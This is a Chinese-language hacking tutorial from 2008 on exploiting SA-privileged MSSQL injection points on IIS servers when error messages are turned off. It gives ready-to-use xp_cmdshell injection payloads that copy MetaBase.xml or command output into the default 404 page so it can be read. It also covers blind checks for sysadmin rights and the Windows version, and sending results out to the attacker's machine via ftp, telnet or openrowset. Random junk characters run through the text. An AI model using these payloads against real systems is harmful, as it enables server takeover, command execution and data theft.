遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。% o5 ?$ g' X; J8 w- h4 z1 w6 Q
4 t2 D6 {3 z3 U4 o+ \$ _5 K
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
" w# r9 k" y1 Z5 S1 y9 J' Y
6 z; Q; K. t* y% [+ H) \1 y% ?3 m, H 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
n0 Y) t( g( y0 `( o7 M, k6 }5 A2 v' |
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
# b/ i4 N) I3 S3 e5 D. @' ~7 [3 g3 I8 u! ^8 p3 O
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
4 x+ z: o* I/ S
1 Q9 O9 w0 K; y9 a3 t' K1 ` ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。" o; Z1 @) N0 x# c4 }/ `
e: P7 o8 Z" i7 |3 ?0 d3 ~5 k
执行命令得到回显) b& k, N } ~& J
$ D) {% q, V6 j* A
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--. J' o+ i2 ?' @( Y
$ v( [. ]0 f3 Y1 o: u
得到文件也shi相同,把文件copy到404b.htm就行了
& l" _& v Y1 p4 ?2 H6 G& G9 n& k# h* g1 L% g+ o. Q( m7 y* I; }
by 28ice, 2008/6/26
z' {( X5 U! r& n1 V8 d* {+ y3 h+ b! s, k" W3 L
摘自 28度的冰
8 Z# ^6 E2 c, D0 J5 D/ l8 q; a: i7 l" @# b9 k
盲注判断权限和操作系统版本2 w# N. u! f0 z& e. K. U, Z% L
# M9 L7 i4 _9 r. p
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?3 z! l/ k. Q. h) z! [" m
; E) g( F# }- r; v7 w( s
最简单的,可能以用这样的方法:% ?1 Y0 u. C$ p0 L/ y* R6 f
2 Z, _% V' s9 e9 ]1 g
1=(select IS_SRVROLEMEMBER(’sysadmin’))# L2 e+ L" m. i5 ~
" z0 m: j. @' [) | 当然,有些情况下,这个方法并不奏效。7 [; y0 ~- T" d$ G6 R
. ~# t. U& ^: V" F5 V" Z
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。5 J2 y% n! b! H( ]9 U8 z- v
( I$ ]6 R) p5 m/ t( o, G. T7 Y 有个3办法可能以解决这个问题% A" j. a) b4 _7 \6 T8 W
5 ~+ K, x; G" s) d/ n2 s7 L0 w
a.把执行结果写到404b.htm,具体请看我的上一篇文章
& t1 ^2 Q# n* v
3 N# v) v$ M! @4 c0 q1 R b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
6 A2 a T1 ]8 f. @5 Z* n) e J7 {* ]+ x1 H
c.如果1433端口可能以连接,那干脆新建个sql登录
/ `) l+ `6 g8 y& D
! {# d8 H2 W: s" Q d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数6 f* X. y. \0 D' Y# Y4 |
. r- n, W, E+ N( A: l1 S# |* o$ y 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下. ]8 t# e* \2 I1 P; _7 `4 N
+ q/ g2 v% I) s 很简单, I6 }: o9 d$ q
; ^+ g- c X" v( s; M
执行systeminfo
6 E3 c% Z. t! j+ A2 M" k* ^$ S J: a$ g" [0 Q1 P' R. z0 B$ Y1 a
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |